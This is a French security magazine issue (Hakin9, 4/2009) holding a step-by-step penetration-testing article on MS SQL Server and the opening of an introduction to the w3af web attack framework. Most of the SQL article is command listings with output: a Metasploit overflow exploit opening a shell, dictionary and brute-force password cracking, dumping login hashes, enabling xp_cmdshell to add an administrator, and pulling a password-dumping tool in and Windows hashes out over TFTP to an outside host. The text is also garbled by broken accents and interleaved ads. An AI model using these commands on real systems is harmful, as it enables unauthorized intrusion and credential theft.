Ce programme permet de travailler aussi bien depuis la ligne de commandes que dans un environnement graphique. N'oubliez pas de mettre le systme MF3 jour (Listing 7). Maintenant, nous utiliserons une console msfcli et un outil de recherche grep afin de trouver les exploits pour Microsoft SQL Server (Listing 7). Une fois tous les lments dfinis, nous savons quels exploits seront utiliss contre Microsoft SQL ; il est conseill d'obtenir des informations dtaills sur leurs sujets en se rfrant aux informations globales de la commande S. Il est galement possible de faire appel au drapeau E avec les paramtres appropris RHOSTS pour l'lment tudi. Les Listings 8 et 9 prsentent la manire d'une utilisation pratique des lments analyss pour afficher des informations dtailles relatives aux lments slectionns. Remarquez que l'emploi d'un exploit slectionn est destin Microsoft SQL Server 2000 avec un supplment Service Pack 2 et suprieur. L'analyse de SQL Server disponible l'adresse IP 10.0.0.212 dmontre qu'il est susceptible d'utiliser cet exploit. L'outil ping a dcouvert que Microsoft SQL avait t lanc en version 8.00.194. Le Listing 10 prsente qu'il s'agit de la version prcdente Service Pack 1.

Mots de passe dans Microsoft sQL server recommandations


Afin de garantir une plus grande scurit,

Listing 9. Obtention des informations dtailles sur l'exploit ms02 _ 056 _ hello
gsg framework3 # ./msfcli exploit/windows/mssql/ms02_056_hello S Name: Microsoft SQL Server Hello Overflow Version: 4498 Platform: Windows Privileged: Yes License: Metasploit Framework License Provided by: MC y0@w00t-shell.net Available targets: Id Name -- ------0 MSSQL 2000 / MSDE <= SP2 Basic options: Name Current Setting Required Description ----------------------------------- ------------RHOST yes The target address RPORT 1433 yes The target port Payload information: Space: 512 Avoid: 1 characters Description: By sending malformed data to TCP port 1433, an unauthenticated remote attacker vould overflow a buffer and possibly execute code on the server with SYSTEM level privileges. This module should work against any vulnerable SQL Server 2000 or MSDE install (< SP3). References: http://www.securityfocus.com/bid/5411 http://cvd.mitre.org/cgi-bin/cnename.cgi?name=2002-1123 http://www.microsoft.com/technet/security/bulletin/MS02-056.mspx http://cve.mitre.org/cgi-bin/cvename.cgi?name=2002-1123 http://milw0rm.com/metsploit/43

attaque de l'authentification Microsoft sql server

Afin de s'authentifier au programme Microsoft SQL Server, il faut connatre le login de l'utilisateur et son mot de passe. L'une des mthodes permettant d'accder au logiciel Microsoft SQL Server consiste employer l'attaque par dictionnaire l'aide d'un nom commun pour l'utilisateur et le mot de passe.

Mode d'authentification Windows NT Authentication Mode


Les membres des groupes locaux d'administrateurs ont par dfaut le droit d'administrateur du systme Microsoft SQL Server dans le systme Windows. Le login et le mot de passe ne sont pas stocks dans Microsoft SQL Server.

Listing 10. Ralisation de l'exploit de Microsoft SQL Server Hello Overflow


gsg framework3 # ./msfcli exploit/windows/mssql/ms02_56_hello PAYLOAD=generic/shell_ bin_tcp TARGET=0 RHOST=10.0.0.212 E [*] Started bind handler [*] Command shell session 1 opened (10.0.0.211:2614 -> 10.0.0.212:4444) Microsoft Windows 2000 [Version 5.00.2195] (c) Copyright 1985 - 1999 Microsoft Corp. C:\WINNT\system32>exit gsg framework3 #

Mode mixte (le plus frquent)


Aussi bien l'authentification du systme Windows que l'authentification du ct de SQL Serwer sont supportes dans le

4/2009 HAKIN9

37

BACKUP
Noms des utilisateurs et des mots de passe crs spcialement pour les besoins du test
gsg ~ # cat users.txt sa

le mot de passe doit contenir au moins trois de quatre types de caractres : majuscules, minuscules, chiffres et caractres non alphanumriques ; le mot de passe ne peut pas contenir des valeurs suivantes : Admin,

Administrator, Password, sa, sysadmin, le nom de l'ordinateur o SQL Server est install et un nom complet ou partiel du nom du compte Windows actuellement connect.

Listing 11. Attaque par dictionnaire sur les comptes avec les mots de passe faibles
gsg ~ # sqldict SQLDICT v1.0.0 by patrik@cqure.net ---------------------------------------------usage: sqldict [options] -i* <ip|ipfile> to probe -t port (default 1433) -u* <userfile> -p* <dicfile> -r <reportfile> -v verbose gsg ~ # sqldict -i 10.0.0.212 -t 1433 -u users.txt -p passwords.txt IP: 10.0.0.212 User: sa Pass: gsg ~ # sqldict -i 10.0.0.213 -t 1433 -u users.txt -p passwords.txt IP: 10.0.0.213 User: sa Pass: grzegorz

probe

openview

ovms_admin ovdb_user netiq test bbsd-client public admin

sysadmin gsg ~ # cat passwords.txt openview ovms ovdb

changene2 netiq sa sasa

Listing 12. Utilisation de FreeTDS tsql pour rcuprer les hachages des utilisateurs stocks dans la base de donnes
gsg ~ # echo -e "select name, password from master..sysxlogins \n go" | \ > tsql -H 10.0.0.212 -p 1433 -U sa -P "" 1> 2> name password BUILTIN\Administrators NULL gsg 01bf4593b3bb30b0f345345b3n43494nf3n402455b3n43494nf33942356be234eb grzegorz 934n343b29294593b3bb30b0f nn9994n3023942356be4n343b2994593b3bb230 sa NULL NULL NULL

sasasa public test grzegorz testtest admin sysadmin password

changename password!

Listing 13. Chargement, compilation et ralisation de SQLPAT dans le mode dictionnaire


gsg ~ # wget -q http://www.cqure.net/tools/sqlgf-all-src-1.0.1.zip; unzip -qq sqlbf-all-src-1.0.1.zip gsg ~ # cd sqlbf; make -is 2> /dev/null; ls ./bin; ./bin/sqlbf; cd .. sqlbf* MS SQL Server Password Auditing Tool Version 1.0.1 ---------patrik.karlsson@se.pwcglobal.com--------------usage: ./bin/sqlbf -u [options] Options: -c <csfile> -the character set -d <dictionary> - the dictionary file -u <userfile> -the user & hash file -r <reportfile> -the report file gsg ~ #./sqlbf/bin/sqlbf -d dict.txt -u mssql2000-hashes.txt Starting Dictionary attack on hashes ... Press <space> for statistics <q> to Quit User: grzegorz Pw:password Time elapsed : 0.0000000 seconds. Approx. guesses per second : inf

forcer la politique des mots de passe sont disponibles : force du mot de passe ; expiration des mots de passe ; blocages de comptes.

La politique de mots de passe est vrifie par dfaut. Le mcanisme de mots de passe contrle galement les mots de passe des applications clientes. Pour cette raison, les connexions des applications peuvent tre vrifies du point de vue de la force des mots de passe. Un mot de passe complexe est dfini par plusieurs lments : le mot de passe doit contenir au moins six caractres ;
HAKIN9 4/2009

38

TesT de pNTrATIoN des servIces Ms sQL server


SecureIP Solutions
La scurit de linformation est une chose importante pour les entreprises et mme pour les particuliers. Cest pourquoi secureiP solutions vous propose diffrents produits et services pour protger vos prcieuses donnes tels quun service de sauvegarde en ligne, les diffrents produits BitDefender et bien plus encore. http://www.secureip.ca

NUMERANCE

NUMERaNCE, spcialise dans la scurit informatique, intervient auprs des Petites et Moyennes Entreprises, en proposant des prestations daudit, daccompagnement, et de formation. http://www.numerance.fr

Pour plus de renseignement : hakin9@hakin9.org

Herv schauer Consultants : 17 ans d'expertise en scurit des systmes d'information Nos formations techniques en scurit et iso27001 sont proposes Paris, Toulouse, et Marseille. http://www.hsc.fr/services/formations/cataloguehsc.pdf informations : formations@hsc.fr - +33 (0)141 409 704

Herv Schauer Consultants

TippingPoint

TippingPoint est un leader mondial dans la prvention des intrusions rseaux (Network iPs) de 50Mbps 10Gigabits ainsi que la vrification dintgrit de poste et le contrle daccs du rseau (NaC). Tl : 01 69 07 34 49, E-mail : francesales@tippingpoint.com http://www.tippingpoint.com

Sysdream

Cabinet de conseil et centre de formation spcialis en scurit informatique. Lexprience c'est avant tout les recherches publiques, visant amliorer la scurit des applications et des systmes dinformations. Les rsultats disponibles sur des portails de recherche, dans la presse spcialiss. http://www.sysdream.com

MICROCOMS

Microcoms est une socit spcialise dans les produits Microsoft qui a pour vocation d'aider les particuliers, les TPE-PME et les professions librales sur 6 axes principaux de l'informatique : assister, Dpanner, Conseiller, scuriser, Former, Maintenir. Tl. : 01.45.36.05.81 e-mail : contact@microcoms.net http://www.microcoms.net

Club .PRO

ALTOSPAM

Ne perdez plus de temps avec les spams et les virus. scurisez simplement vos emails professionnels. aLTosPaM est un logiciel externalis de protection de la messagerie lectronique : anti-spam, anti-virus, anti-phishing, anti-scam... Testez gratuitement notre service, mis en place en quelques minutes. http://www.altospam.com okTEY 5, rue du Pic du Midi 31150 GRaTENToUR

4/2009 HAKIN9

39

BACKUP
L'expiration des mots de passe est dfinie par la valeur Date limite maximale du mot de passe de la configuration de la politique de groupe alors que le blocage dpend de la valeur attribue l'option : Dure du blocage du compte, Seuil du blocage du compte et Mettre zro les compteurs du blocage du compte aprs.

Audit sQL Tools (sQLAT)


L'audit SQL Tools (SQLAT) est un ensemble d'outils crs par Patrik Karlsson. SQLAT comprend des outils diffrents destins raliser des attaques par dictionnaire, charger les fichiers sur le serveur SQL, crer une trace du fichier SAM ( l'aide de pwdump2). Un outil responsable d'une analyse minimale du programme SQL Server avec une gnration des rapports sous forme HTML est galement disponible. Cet outil retourne temporairement la fonction xp _ cmdshell lorsqu'elle est inactive. SQLAT repose sur la bibliothque freetds. partir de la version 1.0.6, il supporte le systme de connexion NTLM des listes d'outils dans l'ensemble : sqlanlz cre des rapports analytiques en langage HTML, contenant une analyse des bases de donnes, des utilisateurs et des procdures tendues de Microsoft SQL Server. sqldict ralise une attaque par dictionnaire sur Microsoft SQL Server. sqldirtree affiche ASCII des rpertoires depuis la base du rpertoire. sqldumplogins ralise les traces des comptes des utilisateurs depuis SQL Server. sqlquery outil interactif de la ligne de commandes, permettant d'accder aux commandes SQL. sqlregenumkey calcule une cl dfinie de registre. sqlreggetvalue numre les valeurs pour une cl de registre concrte. sqlsamdump emploie le programme pwdump2 pour la trace du fichier SAM. sqlupload charge les fichiers dans Microsoft SQL Server.

Listing 14. Hacker les hachages du mot de passe via la mthode Brute Force
gsg ~ # grep -v '^nexus' mssql2000-hashes.txt > nie-scrackowany.txt gsg ~ # cat not-cracked.txt gsg ,0x0100B47BC335BAC32CE87HB47FC723483723443223C772883294E477EB382 gsg ~ # ./sqlbf/bin/sqlbf -c ./sqlbr/default.cm -u not -cracked.txt -r cracked.txt Starting BruteForce attack on hashes ... Press <space> for statistics <q> to Quit

Listing 15. Trace du login d'utilisateur et le hachage du mot de passe depuis le programme Microsoft SQL Server 2005
gsg ~ # echo -e "select name, password hash from sys.sql_logins \n go" | \ > tsql -H 10.0.0.213 -p 1433 -U sa -P sasa 1> 2> name password hash sa 01004086cdb34b456bb3dd33389273dn329100006e9834 gsg 234n349dc34384954bbb2342b282737c3b37283cb23920 gsg ~ #

Listing 16. Lancement du programme Sqlanlz et redirection de la sortie vers le fichier HTML
gsg ~ # sqlanlz SQLANLZ v1.1.0 by patrik@cqure.net ----------------------------------------------sqlanlz -i* <ip|ipfile> -t port (default 1433) -u username (default sa) -p password -l logging -v verbose gsg ~ # sqlanlz -i 10.0.0.212 -t 1433 -u sa -p "" > sqlanlz-mssql2000.html gsg ~ # sqlanlz -i 10.0.0.213 -t 1433 -u sa -p grzegorz > sqlanlz-mssql2005.html

Listing 17. Activation de xp_cmdshell dans Microsoft SQL Server 2005


EXEC master..sp_configure 'show advanced options', 1 RECONFIGURE WITH OVERRIDE EXEC master..sp_configure 'xp_cmdshell', 1 RECONFIGURE WITH OVERRIDE EXEC master..sp_configure 'show advanced options', 0 SQL Auditing Tools (SQLAT) - SQLExec (sqlquery) - Using "xp_cmdshell" to add a local administrator account call "nsa". Add the user "nsa" with the password "Pa$$w0rd!":

Le Listing 12 prsente comment l'outil sqldict est employ pour raliser une attaque par dictionnaire sur les mcanismes d'authentification de SQL Server 2000 et 2005. En cas de cette
40 HAKIN9 4/2009

TesT de pNTrATIoN des servIces Ms sQL server


En Microsoft SQL Server 2000, il est possible de rcuprer le login de l'utilisateur et le mot de passe (hachage) via la requte SQL suivante :
select name, password from master.sysxlogins

Figure 2. Hachages ajouts au programme Cain&Abel attaque, il est possible de se servir des logins d'utilisateurs et des mots de passe crs spcialement pour les besoins du test (Encadr Noms des utilisateurs et des mots de passe crs spcialement pour les besoins du test). Aprs un accs privilgi au programme Microsoft SQL Server l'aide de l'exploit ou aprs une attaque russie par dictionnaire, il est possible d'ajouter le compte hack P U notre propre dictionnaire. Ce compte obtenu permet d'accder aux autres comptes.

Le Listing 12 prsente l'outil FreeTDS tsql employ pour envoyer une requte SQL Server 2000. Les logins de l'utilisateur et les mots de passe sont stocks dans les tableaux sysxlogins dans la base de donnes principale. Les authentifications des comptes doivent tre formates d'une manire approprie (username, <password hash>) de sorte que ces comptes puissent tre employs comme un composant pour l'outil SQLPAT.
gsg ~ # cat mssql2000-hashes.txt gsg

Microsoft SQL Server 2000 stocke ses comptes dans la base de donnes master. Les mots de passe sont gnrs au moyen de la fonction pwdencrypt () sous forme de hachages l'aide de l'algorithme SHA-1 dans le tableau sysxlogins. B L i C i

Microsoft sql server 2000

grzegorz 934n343b29294593b3bb30b0f bb230

4nf3n402455b3n43494nf33942356be234eb nn9994n3023942356be4n343b2994593b3

01bf4593b3bb30b0f345345b3n4349

4/2009 HAKIN9

41

BACKUP
Listing 18. Ajout de l'utilisateur nsa au groupe local des administrateurs
gsg ~ # sqlquery SQLExec v1.1.0 by patrik@cqure.net --------------------------------------------sqluery [options] -i* <ipaddress> -t port (default 1433) -q <query> (if ommited execute interactive mode) -u username -p password gsg ~ # sqlquery -i 10.0.0.212 -t 1433 -q "exec master..xp_cmdshell 'net user nsa Pa$$w0rd! /add'" SQLExec v1.1.0 by patrik@cquire.net ------------------------------------------------------output The command completed successfully. The command completed successfully. The command completed successfully.

Listing 19. Vrification si l'utilisateur nsa fait partie du groupe local Administrateurs
gsg ~ # sqlquery SQLExec v1.1.0 by patrik@cqure.net --------------------------------------------sqluery [options] -i* <ipaddress> -t port (default 1433) -q <query> (if ommited execute interactive mode) -u username -p password gsg ~ # sqlquery -i 10.0.0.212 -t 1433 -q "exec master..xp_cmdshell 'net localgroup administrators'" SQLExec v1.1.0 by patrik@cqure.net ........................................................ output Alias name administrators Comment Administrators have complete and unrestricted access to the computer/domain Comment Administrators have complete and unrestricted access to the computer/domain Members Members ...................................................................................... ................ Administrator Nsa The command completed successfully. The command completed successfully. The command completed successfully.

Le Listing 13 prsente SQLPAT tlcharg au moyen de wget dans une instance locale, dcompress, compil et enfin lanc ; l'application affiche en rsultat une trace de mot de passe. L'attaque par dictionnaire est complte. Vous pouvez remarquer que les hachages du mot de passe de l'utilisateur gsg n'ont pas t hacks. L'tape suivante consistera utiliser sqlbf dans le mode Brute Force pour lire le contenu d'autres hachages. Le Listing 15 prsente le hachage du mot de passe de l'utilisateur gsg extrait vers un nouveau fichier nie-scrackowany.txt qui est employ en tant qu'un ajout pour l'attaque Brute Force. Il ne faut pas oublier que l'attaque par force brute ne sera pas effectue aussi rapidement que l'attaque par dictionnaire. l'instar d'autres types de mthodes Brute Force, celle-l peut durer galement plusieurs jours, voire semaines.

Microsoft sql server 2005

Dans le cas de Microsoft SQL Server 2005, il est possible de rcuprer les valeurs du mot de passe de l'utilisateur via une des requtes suivantes :
- ?Select name, password from - ?Select name, cast (password as varbinary(256) ) from sys.syslogins sys.sql_logins

Listing 20. Tlchargement, dcompression et copie du programme fgdump.exe


gsg ~ # wget -q http://swamp.foofus.net/fizzgig/fgdump/ fgdump-1.6.0-exeonly.tar.bz2 gsg ~ # tar jxvf ./fgdump-1.6.0-exeonly.tar.bz2 Release/fgdump.exe gsg ~ # cp ./Release/fgdump.exe /tmp/ gsg ~ #

Il est ncessaire d'utiliser de nouveau l'outil FreeTDS pour crer la requte pour le systme SQL Server 2005 afin de rcuprer les logins d'utilisateurs et les mots de passe, comme le prsente le Listing 16. SQLPAT et SQLAT sont incapables de travailler avec les hachages du serveur SQL Server 2005. Pour cette raison, il faut les formater d'une autre manire. Nous utiliserons le programme Cain&Abel (www.oxid.it/cain.html) avec la mthode par dictionnaire et Brute Force en tant qu'outil pour hacker. Il est fortement recommand de lire l'ensemble du mode d'emploi (www.oxid.it/ ca_um/) avant d'effectuer les tests car il permet de prendre connaissance de ses larges fonctionnalits. Une fois le programme Cain&Abel lanc dans le systme Windows, il faut cliquer dans l'onglet Cracker, slectionner MSSQL Hashes et ensuite, l'icne

42

HAKIN9 4/2009

TesT de pNTrATIoN des servIces Ms sQL server


avec le caractre plus afin de lancer la fentre Add MSSQL Hashes. Ensuite, il faut saisir les positions : Salt et Mixcase Hash, comme le prsente la Figure 1. Maintenant, comme les valeurs de hachages ont t saisies, il est possible de slectionner un seul hachage ou tous. Ensuite, une fois qu'ils sont slectionns, il faut faire un clic droit de la souris et slectionner l'attaque par dictionnaire ou la mthode Brute Force. Dans notre exemple, nous raliserons l'attaque Brute Force. Les rsultats de l'attaque Brute Force s'affichent dans une bote de dialogue Brute-Force Attack, comme le prsente la Figure 3.

Listing 21. Lancement de l'application fgdump.exe


gsg ~ # sqlquery -i 10.0.0.212 -t 1433 -q "exec master..xp_cmdshell 'cd c:\tools && tftp -i 10.0.0.120 GET fgdump.exe'" -u sa -p'" SQLExec v1.1.0 by patrik@cqure.net -----------------------------------------------------output Transfer successful: 552960 bytes in 1 second 552960 bytes/s Transfer successful: 552960 bytes in 1 second 552960 bytes/s gsg ~ # sqlquery -I 10.0.0.212 -t 1433 -q "exec master.xp_cmdshell 'c:\tools\ fgdump.exe'" -u sa -p'" SQLExec v1.1.0 by patrik@cqure.net -----------------------------------------------------output fgDump 1.6.0 - fizzgig and the mighty group at foofus.net Written to make j0m0kun's life just a bit easier Copyright (c) 2007 fizzgig and foofus.net Fgdump comes with ABSOLUTELY NO WARRANTY! This is free software, and you are welcome to redistribute it Under certain conditions; see the COPYING and README files for more information. more information. No parameters specified, doing a local dump. Specify -7 it you are looking for help. Starting dump on 127.0.0.1 Starting dump on 127.0.0.1 **Beginning local dump ** OS (127.0.0.1): Microsoft Windows 2003 Server Passwords dumped successfully Cache dumped successfully Cache dumped successfully --------Summary--------------------Summary------------Failed servers: NONE NONE Successful servers: 127.0.0.1 127.0.0.1 Total failed: 0 Total successful: 1 Total successful: 1

Sqlanlz est un autre outil excellent qui fait partie de SQLAT. Sqlanlz cre des rapports au format HTML, contenant des analyses des bases de donnes, des utilisateurs et des procdures tendues stockes dans SQL Server (Listing 17).

analyse de la base de donnes

obtention de l'accs au systme d'exploitation


Lorsqu'il est possible d'employer les droits d'administrateur de Microsoft SQL Server 2000, on peut accder l'administrateur local du systme d'exploitation au moyen de xp _ cmdshell., ce qui permet de faire des requtes depuis SQL Server directement au systme MS Windows via les commandes T-SQL. Pour votre scurit, n'oubliez pas que l'administrateur doit dsactiver xp _ cmdshell sur Microsoft SQL Server 2000 ; cette option est en revanche dsactive par dfaut dans Microsoft SQL Server 2005. Le code ci-dessous permettra l'option xp _ cmdshell de fonctionner de nouveau lorsqu'elle a t dsactive depuis sp _ dropextendedproc :
sp_addextendedproc 'xp_cmdshell', 'xp_log70.dll'

Listing 22. Procdure de rcupration des hachages l'aide de ftp.


gsg ~ # sqlquery -i 10.0.0.212 -t 1433 -q "exec master..xp_cmdshell 'tftp -i 10.0.0.120 PUT c:\tools\127.0.0.1.pwdump'" -u sa -p "" SQLExec v1.1.0 by patrik@cqure.net -----------------------------------------------------output Transfer successful: 616 bytes in 1 second 616 bytes/s Transfer successful: 616 bytes in 1 second 616 bytes/s gsg ~ # sqlquery -I 10.0.0.212 -t 1433 -q "exec master..xp_cmdshell 'tftp -i 10.0.0.120 PUT c:\tools\127.0.01.cachedump'" -u sa -p "" SQLEXEC v1.1.0 by patrik@cqure.net --------------------------------------------------------output Transfer successful: 216 bytes in 1 second 216 bytes/s Transfer successful: 216 bytes in 1 second 216 bytes/s' gsg ~ # sqlquery -I 10.0.0.212 -t 1433 -q "exec master..xp_cmdshell 'rd /s /q c: \tools'" -u sa -p '" SQLExec v1.1.0 by patrik@cqure.net -----------------------------------------------------output

Ajout de l'utilisateur nsa au groupe local des administrateurs, comme le prsente le Listing 18. Vrification si l'utilisateur nsa fait partie du groupe local des administrateurs (Listing 19).
4/2009 HAKIN9 43

BACKUP
Listing 23. Cration d'un rpertoire appel c:\tools sur Microsoft SQL Server
gsg ~ # sqlquery SQLExec v1.1.0 by patrik@cqure.net --------------------------------------------sqluery [options] -i* <ipaddress> -t port (default 1433) -q <query> (if ommited execute interactive mode) -u username -p password gsg ~ # sqlquery -i 10.0.0.212 -t 1433 -q "exec master..xp_cmdshell "mkdir c:\tools'" -u sa -p'" SQLExec v1.1.0 by patrik@cqure.net -----------------------------------------------output

depuis les sites Web www.freerainbowtable s.com/ et http://rainbowtables.shmoo.com/.

Conclusion

Cet exemple se sert du dmon du protocole TFT afin de transfrer les fichiers vers le programme et depuis le programme Microsoft SQL Server au moyen de la procdure tendue stocke
xp _ cmdshell.

Lancement de TFTPD :

gsg ~ # /usr/bin/start-tftpd SQLAT: SQLExec (Sqlquery), TFTP et fgdump.exe

Fgdump (www.foofus.net/fizzgig/fgdump/) est un outil destin au dumping des mots de passe dans le systme Windows NT/ 2000/XP/2003/Vista. Il est dot de toutes les fonctions du programme pwdump. Pour travailler avec cet outil, il faut tlcharger

le programme, le dcompresser et enfin copier fgdump.exe dans le rpertoire local du dmon tftpd, comme le prsente le Listing 20. Modification du rpertoire en c:\tools l'aide du client TFTP Microsoft SQL Server ; la premire tape consiste tlcharger fgdump.exe et ensuite, le lancer, comme le prsente le Listing 21. Le client TFTP permet de tlcharger les hachages, comme le prsente le Listing 22. Une fois les hachages du systme Windows tlchargs, il est possible de hacker les mots de passe l'aide des tables arc-en-ciel. Ces tableaux sont tlchargeables

Nous avons regard, tape par tape, comment analyser un systme de base de donnes et raliser une attaque efficace. Les informations prsentes dans les exemples ont servi collecter des renseignements prcieux pour trouver des failles dans notre systme. Un hacker doit trouver le plus d'informations possible sur une victime potentielle de sorte que l'attaque rseau sur la base de donnes russisse. Les intrus essaient d'apprendre le plus sur un ordinateur distant. Pour cette raison, ils scannent ses ports et analysent quel systme d'exploitation y travaille. Nous pouvons maintenant nous poser une question, savoir comment rendre impossible ou difficile une attaque du systme que nous administrons ? Malheureusement, il n'existe aucune bonne recette. Il faut avant tout tre attentif lors de la configuration du systme. Il faut tre humble devant cette question, autrement dit, ne pas se considrer comme un meilleur administrateur du monde. Sachez qu'il peut y avoir toujours quelqu'un de meilleur qui se servira de nos erreurs contre nous. Il ne faut pas non plus faire confiance une seule solution ou un seul systme. Tout systme a des dfauts et le fait d'utiliser des systmes ouverts ne signifie pas que nous rsisterons aux attaques. Malheureusement, mme un pare-feu ne protgera pas notre base de donnes contre une attaque. Toute sorte de protections a pour but de rendre une attaque difficile en bloquant les tentatives automatiques d'attaque, de dcourager les attaquants et de masquer les points faibles du systme. Elles ne garantiront pas toutefois sa scurit. Elles peuvent en revanche prolonger le temps ncessaire pour forcer toutes les protections. Et elles donneront une information importante un administrateur, savoir le fait que quelqu'un s'intresse son systme.

Figure 3. Attaque par dictionnaire sur l'instance Microsoft SQL Server 2005
44 HAKIN9 4/2009

TesT de pNTrATIoN des servIces Ms sQL server

4/2009 HAKIN9

45

PRATIQUE
RgIS SENET

Introduction w3af
Degr de difficult

Depuis l'augmentation de l'importance d'Internet dans la vie quotidienne de nombreuse personnes, la scurit des sites web reste plus que jamais une inquitude majeure. W3AF ou Web Application Attack and Audit Framework permet d'automatiser les attaques et les audits l'encontre des sites internet afin de vous prmunir contre les diverses attaques possile par des individus malintentions.

Cet artiCle explique...


Lutilisation de w3af. La rcupration et lutilisation dinformation. Ce qu'il faut savoir... Les bases des sites web Les bases des attaques Web (Injection SQL/Injection de code/Inclusion de fichier) 46 HAKIN9 4/2009

a scurit des sites internet est aujourd'hui lun des aspects de la scurit en entreprise le plus souvent nglig alors quil devrait tre une priorit dans n'importe quelle organisation. De plus en plus, les pirates informatiques concentrent leurs efforts sur les applications web afin dobtenir une approche des informations confidentielles et abuser des donnes sensibles comme les dtails de client, les numros de carte de crdit et autre. Les applications web ralisant des achats en ligne, des authentifications dutilisateurs ou utilisant simplement tous types de contenu dynamique permettent lutilisateur dinteragir avec des donnes prsent dans une base de donnes. Sur certaines applications, ces donnes peuvent tre personnelles voir sensibles. Si ces applications web ne sont pas scurises, votre base de donnes entire de renseignements sensibles court un risque rel. Comme tous systmes informatiques, une application web doit rpondre trois caractristiques : Confidentialit Disponibilit Intgrit

les attaques web car celles-ci sont lances sur le port 80 (le port par dfaut pour les sites Internet) qui doit rester ouvert. Pour la stratgie de scurit la plus complte, il est donc urgent que vous auditiez rgulirement vos applications web pour vrifier la prsence de vulnrabilits exploitables.

pourquoi sattaquer une application web ?

Les failles web permettent des actions de plus en plus importantes de la part des pirates informatique. Il est fini le temps ou le piratage dun site Web se content dafficher une simple fentre sur la page de lutilisateur ou bien le vol dun cookie. De nos jours, le piratage dune application Web est nettement plus dangereux que cela : Dfaage complet ou partiel dun site Internet. Accs aux donnes sensibles des utilisateurs.

quels sont les raisons de ses actions ?

Les pirates informatiques sont principalement motivs par deux raisons : La gloire, Le dfaage dun site rentre souvent dans cette catgorie de piratage. En effet, le dfaage, Dun site peut tre lventualit de marquer son territoire ou simplement de se faire,

La scurisation des rseaux ainsi que linstallation dun pare-feu ne fournit aucune protection contre

W3af
W3af est un framework trs complet plac sous licence GPL (General Public License) entirement crit en Python avec un code extrmement bien comment permettant ainsi nimporte quel dveloppeur potentiel de crer ses propres modules/exploits. Grossirement, w3af peut se dcomposer en trois catgories : Figure 2. Informations prcises sur une faille Connatre par le monde des pirates en modifiant le site cible, Largent, Les pirates sont souvent attirs par l'appt du gain quil soit direct ou indirect:Un gain direct est un gain leur revenant personnellement alors quun gain indirect se dfinirait plus comme tant une perte pour lentreprise cible En effet, le vol dinformations, confidentielles comme les numros de carte bleu par exemple est un commerce de plus en plus porteur sur le net. Mtasploit, w3af peut tre compar ce dernier en matire de pen-test sur les applications web. Dcouverte Audit Attaque

Figure 1. Onglet Recherche avance

Les plugins de dcouverte ont pour but de rechercher des formulaires, des urls ou plus gnralement tout point potentiel dinjection de code malveillant. Un exemple

Figure 3. W3AF en ligne de commande

Pour exemple dun gain indirect, en 2006, ChoicePoint a pay 10 millions de dollars dans les peines civiles et 5 millions dans la rparation de consommateur aprs que les dossiers financiers personnels de plus de 163,000 consommateurs dans sa base de donnes avaient t compromis. De mme, un pirate informatique a gagn l'approche plus de cinq millions de numro de carte de crdit en fvrier de 2003 grce une attaque d'application web. Il est bel et bien temps dinclure les sites web dans la politique de scurit des entreprises et ceci de manires draconiennes. Pour faire, nous allons maintenant vous prsenter w3af.

Figure 4. Liste des commandes disponible

quest ce que w3af ?

W3af ou bien encore Web Application Attack and Audit Framework est, comme son nom lindique, un framework permettant dautomatiser laudit ainsi que les attaques lencontre des applications web. Pour ceux dentre vous connaissant

Figure 5. Analyse des rsultats dans lespace Log


4/2009 HAKIN9 47

PRATIQUE
plugin audit est un plugin qui recherche des vulnrabilits d'injection SQL. Les plugins d attaque ont pour but d'exploiter les vulnrabilits trouves par les plugins daudit et de dcouverte. Ils retournent en gnral un Shell sur le serveur distant, ou un dump des tables distantes dans le cas des exploits d'injections SQL. Le projet w3af vu le jour au dbut de lanne 2007 (Fin janvier, dbut fvrier) grce aux travaux de son unique dveloppeur Andrs Riancho. Andrs est un chercheur connu et reconnu dans le monde de la scurit informatique notamment dans le domaine des applications web. W3af est actuellement sa version 1.0-rc1 Son principal objectif est de rendre le web le plus scuritaire possible vu les enjeux qui sont maintenant en train de transiter dessus. Le framework w3af est trs portable et peut sutiliser sur nimporte quelle plateforme tant que cette dernire supporte le Python (Linux, WinXP, Vista, OpenBSD, etc.) A partir du moment o lenvironnement Python est prsent sur la machine accueillant w3af, il existe trois moyens afin de sen servir : Tlchargement et installation des paquets (Solution sous linux), Tlchargement et excution des binaires (Solution sous Windows), Utilisation de w3af contenu dans le LiveCD Samurai.

Figure 6. Listing des dangers potentiels classique de plugin de dcouverte est web spider. Ce plugin prend une URL en entre et retourne un ou plusieurs points d'injection. Les plugins d audit attendent les points d'injection dcouverts par les plugins de dcouverte et envoient des donnes construites spcifiquement tous ces derniers afin de trouver des vulnrabilits. Un exemple classique de

Au cours de cet article, nous allons donc utiliser le LiveCD Samurai Web Testing Framework afin de pouvoir utiliser w3af dans les meilleures conditions possibles. Pour simple information, Samurai Web Testing Framework est un LiveCD prconfigur pour les tests de pntration des sites web. Ce LiveCD contient les meilleurs outils de cette catgorie quils soient Open Source ou bien gratuit. Ce LiveCD est disponible ladresse http:// samurai.inguardians.com/.

Objectif

Avec la russite que rencontre w3af dans les tests de pntration web, Andrs Riancho a pour objectif de faire de w3af le meilleur scanner dapplication web Open Source ainsi que le meilleur framework dexploitation des failles pour les applications web. Pour reprendre ces propres propos, il voudrait que w3af devienne le nmap du web, c'est--dire loutil totalement incontournable.

W3aF et ses possibilits

Avant de rentrer dans les dtails techniques que propose w3af, il est important de prciser quil est possible dutiliser w3af de deux manires diffrentes : Figure 7. Injection XSS russi Via son interface graphique Via sa ligne de commande

Figure 8. Listing des modules permettant de trouver les diffrentes failles


48 HAKIN9 4/2009

Linterface graphique de w3af est une interface graphique particulirement soign et simple dutilisation bas sur la librairie GTK. Lutilisation de linterface graphique nest en aucun cas restrictive du fait quelle permet dutiliser w3af 100% de ces capacits. Il est galement possible dutiliser la ligne de commande pour se servir de w3af. Il est possible, via la ligne de commande, dexcuter exactement les mmes commandes que grce linterface graphique. Dun cot un peu plus technique, w3af

W3af
client par du JavaScript par exemple peuvent facilement tre contourns comme la gestion des longueurs maximale dun champ grce lattribut maxlength . Les plugins d vasion tentent de contourner lensemble des rgles mises en place par des IDS (Intrusion Detection System) ou IPS (Intrusion Prevention System) afin dtre le plus furtif possible. Les plugins de bruteforce permettent de raliser des attaques par force brute contre les formulaires dindentifications par exemple. Dernirement, les plugins d affichage quand eux reprsentent la manire via laquelle les plugins vont communiquer avec l'utilisateur. Les plugins daffichage

Figure 9. Onglet Recherche

